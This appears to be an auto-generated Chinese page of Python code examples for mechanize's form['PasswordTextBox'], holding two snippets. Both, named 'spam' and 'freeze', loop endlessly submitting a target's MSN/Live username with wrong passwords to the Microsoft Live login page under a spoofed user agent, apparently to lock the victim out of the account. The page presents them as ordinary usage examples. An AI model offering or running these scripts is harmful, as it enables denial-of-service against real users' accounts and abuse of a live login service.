本文整理汇总了Python中mechanize.Browser.form['PasswordTextBox']方法的典型用法代码示例。如果您正苦于以下问题:Python Browser.form['PasswordTextBox']方法的具体用法?Python Browser.form['PasswordTextBox']怎么用?Python Browser.form['PasswordTextBox']使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类mechanize.Browser
的用法示例。
在下文中一共展示了Browser.form['PasswordTextBox']方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: spam
# 需要导入模块: from mechanize import Browser [as 别名]
# 或者: from mechanize.Browser import form['PasswordTextBox'] [as 别名]
def spam(self,msn):
while 1:
br = Browser()
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
br.open('https://mid.live.com/si/login.aspx')
br.select_form(nr=0)
br.form['LoginTextBox'] = msn
br.form['PasswordTextBox'] = self.randompass()
br.submit()
print "New Spam"
示例2: freeze
# 需要导入模块: from mechanize import Browser [as 别名]
# 或者: from mechanize.Browser import form['PasswordTextBox'] [as 别名]
def freeze(msn):
while 1:
global number
br = Browser()
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
br.open('https://mid.live.com/si/login.aspx')
br.select_form(nr=0)
br.form['LoginTextBox'] = msn
br.form['PasswordTextBox'] = '1234567890'
br.submit()
number +=1
print "Success number " + str(number)